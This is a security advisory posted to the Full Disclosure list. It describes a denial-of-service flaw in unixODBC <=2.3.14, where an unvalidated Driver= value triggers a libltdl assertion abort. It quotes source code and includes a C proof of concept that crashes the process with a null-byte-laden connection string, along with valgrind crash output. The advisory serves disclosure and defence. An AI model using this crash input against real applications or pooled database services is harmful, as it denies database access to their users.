unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure
Daniel Owens via Fulldisclosure ·
unixODBC versions <=2.3.14 do not validate the `Driver=` value of a connection string before passing it to its bundled
dynamic-loading library (`libltdl`). When the derived library base name or file name is empty -- for example because
the value contains an embedded null byte, has a trailing slash, or is empty -- an `assert()` is triggered, rather than
returning an error, causing the entire process to abort.
Impact
An attacker who can influence the `Driver=` value of an Open Database Connectivity (ODBC) connection string -- whether
through direct input, a connection-string injection vector, or a malicious Data Source Name (DSN) configuration file --
can reliably crash any application linked against unixODBC. This denial-of-service (DoS) condition only requires
ability to supply a malformed connection string. Since the crash occurs via `abort()` following a failed assertion,
graceful error handling or recovery is impossible -- the entire process is terminated unconditionally and immediately,
bypassing all application-level exception handling, logging, and cleanup routines. In multi-tenant or
connection-pooling environments, a single malicious connection string brings down the entire pooling service, denying
database access to every concurrent user and leaving in-flight transactions and resources in an inconsistent state.
As an aside, this is why `assert` has always been considered inappropriate for production code across all major coding
standards and since it was first created, although unixODBC should be properly validating the input regardless.
Examples
Code review, and proven via testing, identified multiple distinct use cases, each of which triggers the assertion for
the same reason -- the memory address evaluated by the assertion contains a `null` terminator. When a trailing slash
is present, `base_name = strrchr (canonical, '/')` locates the final slash and the library increments the `base_name`
pointer forward by one byte. Since a trailing slash means the next byte is the string's `null` terminator, the safety
macro fails. Alternatively, if the string is completely empty or begins with a `null` byte, `strrchr` returns `NULL`
and the fallback assignment `MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, similarly failing
the `assert (base_name && *base_name)` check and crashing the runtime.
```c
/* Try to open FILENAME as a module. */
static int
try_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext,
lt_dladvise advise)
{
const char * saved_error = 0;
char * archive_name = 0;
char * canonical = 0;
char * base_name = 0;
char * dir = 0;
char * name = 0;
char * attempt = 0;
int errors = 0;
lt_dlhandle newhandle;
assert (phandle);
assert (*phandle == 0);
#ifdef LT_DEBUG_LOADERS
fprintf (stderr, "try_dlopen (%s, %s)\n",
filename ? filename : "(null)",
ext ? ext : "(null)");
#endif
LT__GETERROR (saved_error);
/* dlopen self? */
if (!filename)
{
*phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle));
if (*phandle == 0)
return 1;
newhandle = *phandle;
/* lt_dlclose()ing yourself is very bad! Disallow it. */
newhandle->info.is_resident = 1;
if (tryall_dlopen (&newhandle, 0, advise, 0) != 0)
{
FREE (*phandle);
return 1;
}
goto register_handle;
}
assert (filename && *filename);
if (ext)
{
attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1);
if (!attempt)
return 1;
sprintf(attempt, "%s%s", filename, ext);
}
else
{
attempt = lt__strdup (filename);
if (!attempt)
return 1;
}
/* Doing this immediately allows internal functions to safely
assume only canonicalized paths are passed. */
if (canonicalize_path (attempt, &canonical) != 0)
{
++errors;
goto cleanup;
}
/* If the canonical module name is a path (relative or absolute)
then split it into a directory part and a name part. */
base_name = strrchr (canonical, '/');
if (base_name)
{
size_t dirlen = (1+ base_name) - canonical;
dir = MALLOC (char, 1+ dirlen);
if (!dir)
{
++errors;
goto cleanup;
}
strlcpy (dir, canonical, dirlen);
dir[dirlen] = LT_EOS_CHAR;
++base_name;
}
else
MEMREASSIGN (base_name, canonical);
assert (base_name && *base_name);
```
Code snippet from `libltdl`'s libltdl/ltdl.c, lines 1157-1251
```c
static void *odbc_dlopen( char *libname, char **err )
{
void *hand;
struct lib_count *list;
mutex_lib_entry();
/*
* have we already got it ?
*/
list = lib_list;
while( list )
{
if ( strcmp( list -> lib_name, libname ) == 0 )
{
break;
}
list = list -> next;
}
if ( list )
{
list -> count ++;
hand = list -> handle;
}
else
{
hand = lt_dlopen( libname );
```
Code from `unixODBC`'s DriverManager/SQLConnect.c, lines 811-840
```bash
cat > /tmp/repro_browse.c << 'EOF'
#include <sql.h>
#include <sqlext.h>
#include <string.h>
int main(void) {
SQLHENV hEnv;
SQLHDBC hDbc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv);
SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hDbc);
/* Connection string with null bytes embedded in the Driver value */
char connStr[] = "Driver={/\x00\x00\x00\x00\x00\x00\x00\x00"
"opt/amazon/redshifto"
"Amazon Redshift ODBC }\x00\x00\x00\x00"
"x64)};Server=host;Port=5439;"
"UID=u;PWD=p;LoginTimeout=5;";
SQLCHAR outBuf[1024];
SQLSMALLINT outLen;
/* This call aborts the process via libltdl's try_dlopen() assertion */
SQLDriverConnect(hDbc, NULL,
(SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1),
outBuf, sizeof(outBuf), &outLen,
SQL_DRIVER_NOPROMPT);
SQLFreeHandle(SQL_HANDLE_DBC, hDbc);
SQLFreeHandle(SQL_HANDLE_ENV, hEnv);
return 0;
}
EOF
gcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc
valgrind --tool=memcheck --track-origins=yes /tmp/repro_browse
```
Code to elicit the crash
```text
repro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name && *base_name' failed.
==1242142==
==1242142== Process terminating with default action of signal 6 (SIGABRT): dumping core
==1242142== at 0x498C02C: __pthread_kill_implementation (in /usr/lib64/libc.so.6)
==1242142== by 0x493EB85: raise (in /usr/lib64/libc.so.6)
==1242142== by 0x4928872: abort (in /usr/lib64/libc.so.6)
==1242142== by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6)
==1242142== by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6)
==1242142== by 0x48D0845: try_dlopen (ltdl.c:1251)
==1242142== by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671)
==1242142== by 0x48D14C4: lt_dlopen (ltdl.c:1626)
==1242142== by 0x486B76A: odbc_dlopen (SQLConnect.c:842)
==1242142== by 0x486C048: __connect_part_one (SQLConnect.c:1182)
==1242142== by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410)
==1242142== by 0x4012C3: main (repro_browse.c:21)
==1242142==
==1242142== HEAP SUMMARY:
==1242142== in use at exit: 73,962 bytes in 26 blocks
==1242142== total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated
==1242142==
==1242142== LEAK SUMMARY:
==1242142== definitely lost: 0 bytes in 0 blocks
==1242142== indirectly lost: 0 bytes in 0 blocks
==1242142== possibly lost: 0 bytes in 0 blocks
==1242142== still reachable: 73,962 bytes in 26 blocks
==1242142== suppressed: 0 bytes in 0 blocks
==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
```
Output from Valgrind, reproduced independently under AddressSanitizer
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/